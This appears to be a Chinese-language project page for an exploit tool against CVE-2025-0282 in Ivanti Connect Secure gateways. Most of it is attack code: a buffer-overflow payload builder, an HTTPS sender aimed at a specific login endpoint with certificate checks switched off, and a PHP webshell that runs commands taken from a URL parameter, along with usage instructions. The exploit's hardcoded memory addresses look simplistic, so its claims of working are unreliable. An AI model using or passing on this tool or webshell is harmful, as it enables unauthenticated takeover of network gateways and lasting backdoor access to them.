Ivanti Connect Secure CVE-2025-0282 漏洞利用工具

2 阅读4分钟

Ivanti Connect Secure CVE-2025-0282 漏洞利用工具

项目描述

本项目是一个针对Ivanti Connect Secure、Policy Secure和ZTA网关中CVE-2025-0282漏洞的远程代码执行(RCE)利用工具。该漏洞是一个栈基缓冲区溢出漏洞,允许远程未经身份验证的攻击者在受影响设备上执行任意代码。

受影响的版本包括:

  • Ivanti Connect Secure 22.7R2.5之前版本
  • Ivanti Policy Secure 22.7R1.2之前版本
  • Ivanti Neurons for ZTA gateways 22.7R2.3之前版本

该漏洞的CVSS 3.1基础评分为9.0(严重),攻击向量为:AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H。

功能特性

  • 远程代码执行:利用栈缓冲区溢出漏洞在目标系统上执行任意命令
  • HTTPS通信:通过SSL/TLS加密通道与目标设备通信
  • 自定义Payload生成:动态生成针对特定内存布局的利用Payload
  • WebShell上传:支持将WebShell文件上传到目标服务器
  • 内存地址控制:允许自定义system()函数地址和命令地址
  • 灵活的命令执行:支持执行各种系统命令和上传自定义脚本

安装指南

系统要求

  • Python 3.x
  • 支持SSL/TLS的网络环境
  • 对目标系统的网络访问权限(端口443)

依赖安装

本项目依赖以下Python标准库,无需额外安装:

import requests
import sys
import struct
import socket
import ssl
import urllib3
import time

配置说明

  1. 下载项目文件到本地
  2. 确保Python环境已正确配置
  3. 根据需要修改代码中的内存地址参数(system_address, command_address)

使用说明

基本用法

使用工具上传WebShell到目标系统:

python3 CVE_2025_0282.py <target_ip> <local_shell_path>

参数说明:

  • <target_ip>:目标服务器的IP地址
  • <local_shell_path>:本地WebShell文件路径

漏洞利用示例

工具会自动构造并发送利用Payload,包括:

  1. 填充缓冲区的"A"字符(默认500字节)
  2. 覆盖返回地址为system()函数地址
  3. 设置假的返回地址
  4. 添加命令地址参数
  5. 附加要执行的命令

WebShell使用

上传的WebShell为PHP脚本,可通过HTTP GET参数执行命令:

http://target.com/shell.php?cmd=<command>

示例:

http://192.168.1.100/shell.php?cmd=whoami
http://192.168.1.100/shell.php?cmd=ls -la

核心代码

1. Payload生成函数

def create_exploit_payload(command, offset=500, system_address=0x0804a360, command_address=0x0804b008):
    """
    创建利用Payload
    
    参数:
        command: 要执行的系统命令
        offset: 缓冲区溢出偏移量(默认500)
        system_address: system()函数的内存地址(默认0x0804a360)
        command_address: 命令字符串的内存地址(默认0x0804b008)
    
    返回:
        构造好的Payload字节串
    """
    payload = b"A" * offset  # 填充缓冲区
    payload += struct.pack("<I", system_address)  # 覆盖返回地址为system()
    payload += b"BBBB"  # 假的返回地址
    payload += struct.pack("<I", command_address)  # 命令地址
    payload += command.encode()  # 要执行的命令
    return payload

2. Payload发送函数

def send_payload(target_ip, payload):
    """
    通过HTTPS发送Payload到目标服务器
    
    参数:
        target_ip: 目标服务器IP地址
        payload: 要发送的Payload数据
    
    返回:
        服务器响应或None(如果发送失败)
    """
    try:
        # 创建SSL上下文,禁用主机名验证和证书验证
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE

        # 创建套接字并包装为SSL套接字
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        ssl_sock = context.wrap_socket(sock, server_hostname=target_ip)

        # 连接到目标服务器的443端口
        ssl_sock.connect((target_ip, 443))
        print(f"[+] Connected to {target_ip} on port 443 (HTTPS).")

        # 构造HTTP POST请求
        exploit_endpoint = "/dana-na/auth/url_default/welcome.cgi"
        http_request = (
            f"POST {exploit_endpoint} HTTP/1.1\r\n"
            f"Host: {target_ip}\r\n"
            f"Content-Length: {len(payload)}\r\n"
            f"Content-Type: application/x-www-form-urlencoded\r\n"
            f"\r\n"
        ).encode() + payload

        # 发送请求并接收响应
        ssl_sock.send(http_request)
        response = ssl_sock.recv(4096)
        ssl_sock.close()
        return response.decode(errors="replace")

    except Exception as e:
        print(f"[-] Error sending payload: {e}")
        return None

3. 漏洞利用主函数

def exploit_vulnerability(target_ip, command):
    """
    利用CVE-2025-0282漏洞执行命令
    
    参数:
        target_ip: 目标服务器IP地址
        command: 要执行的系统命令
    """
    # 创建Payload
    payload = create_exploit_payload(command)
    
    # 发送Payload到目标服务器
    response = send_payload(target_ip, payload)
    
    # 输出结果
    if response:
        print("[+] Payload sent successfully.")
    else:
        print("[-] No response received.")

4. WebShell脚本

<?php
// CVE-2025-0282 WebShell
// 用法: http://target.com/shell.php?cmd=<command>

// 检查是否有cmd参数传入
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];  // 获取要执行的命令
    echo "<pre>" . shell_exec($cmd) . "</pre>";  // 执行命令并格式化输出
} else {
    echo "No command provided.";  // 没有提供命令时的提示
}
?>

6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ7LvlzTwixwAz2bxdbXijC7